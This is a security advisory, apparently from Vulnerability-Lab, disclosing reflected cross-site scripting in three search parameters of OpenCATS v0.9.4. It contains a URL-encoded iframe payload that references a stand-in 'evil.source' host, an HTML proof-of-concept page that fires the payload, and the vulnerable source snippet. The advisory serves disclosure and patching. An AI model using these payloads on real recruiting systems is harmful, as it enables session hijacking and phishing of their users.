Document Title:
===============
OpenCATS v0.9.4-3 - Multiple Cross Site Vulnerabilities
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2232
Release Date:
=============
2020-04-28
Vulnerability Laboratory ID (VL-ID):
====================================
2232
Common Vulnerability Scoring System:
====================================
4
Vulnerability Class:
====================
Cross Site Scripting - Non Persistent
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
The leading free & open applicant tracking system. OpenCATS is a Free and Open Source Candidate/Applicant
Tracking System designed for Recruiters to manage recruiting process from job posting, candidate application, through
to candidate selection and submission.
(Copy of the Homepage: http://www.opencats.org/ & https://github.com/opencats/opencats )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple client-side xss web vulnerabilities in the OpenCATS v0.9.4 web-application.
Vulnerability Disclosure Timeline:
==================================
2020-04-29: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Pre Auth (No Privileges or Session)
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Full Disclosure
Technical Details & Description:
================================
Multiple non-persistent cross site scripting vulnerabilities has been discovered in the official OpenCATS v0.9.4 web-application.
The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise
browser to web-application requests from the client-side.
The cross site scripting vulnerabilities are located in the `quickSearchFor`, `advancedSearchParser` and `wildCardString` parameters
of the `index.php` files. The vulnerable modules are Search and Advanced Search. The request method to inject the malicious script
code is GET and the attack vector of the vulnerability is non-persistent on client-side.
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external
redirects to malicious source and non-persistent manipulation of affected or connected application modules.
Request Method(s):
[+] GET
Vulnerable File(s):
[+] index.php
Vulnerable Parameter(s):
[+] quickSearchFor
[+] advancedSearchParser
[+] wildCardString
Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
PoC: Payload
%3E%22%3E%3Ciframe+src%3Devil.source%3E%3Ciframe%3E%3C%2Fiframe%3E%3C%2Fiframe%3E
PoC: Exploitation
<html>
<head><body>
<title>OPENCATS XSS POC (Search & Advanced Search - Backend)</title>
<iframe src=https://opencats.localhost8000/index.php?m=home&a=quickSearch
&quickSearchFor=%3E%22%3E%3Ciframe+src%3Da%3E%3Ciframe%3E%3C%2Fiframe%3E%3C%2Fiframe%3E&quickSearch=Go>
<iframe src=https://opencats.localhost8000/index.php?m=candidates&a=search&getback=getback&mode=searchByResume
&wildCardString=%3E%22%3E%3Ciframe+src%3Devil.source%3E%3Ciframe%3E%3C%2Fiframe%3E%3C%2Fiframe%3E
&advancedSearchParser=%3E%22%3E%3Ciframe+src%3Devil.source%3E%3Ciframe%3E%3C%2Fiframe%3E%3C%2Fiframe%3E%5B%7C%5D&advancedSearchOn=1>
</body></head>
</html>
PoC: Vulnerable Source
<span id="advancedSearchField" style="display:block;"><br>Advanced search:<br><input type="text" id="searchValue0"
value="%3E%22%3E%3Ciframe+src%3Devil.source%3E%3Ciframe%3E%3C%2Fiframe%3E%3C%2Fiframe%3E"
value="%3E%22%3E%3Ciframe+src%3Devil.source%3E%3Ciframe%3E%3C%2Fiframe%3E%3C%2Fiframe%3E" onkeyup="data[0] =
document.getElementById('searchValue'+0).value; advancedSearchSet(); "><select id="searchSelect0"
onchange="setSearchNode(0);" style="width:120px;"><option value=""></option>
Reference(s):
https://opencats.localhost8000/index.php
https://opencats.localhost8000/index.php?m=home&a=quickSearch
https://opencats.localhost8000/index.php?m=candidates&a=search
Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.
Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com
Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.
Copyright © 2020 | Vulnerability Laboratory - [Evolution Security GmbH]™
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation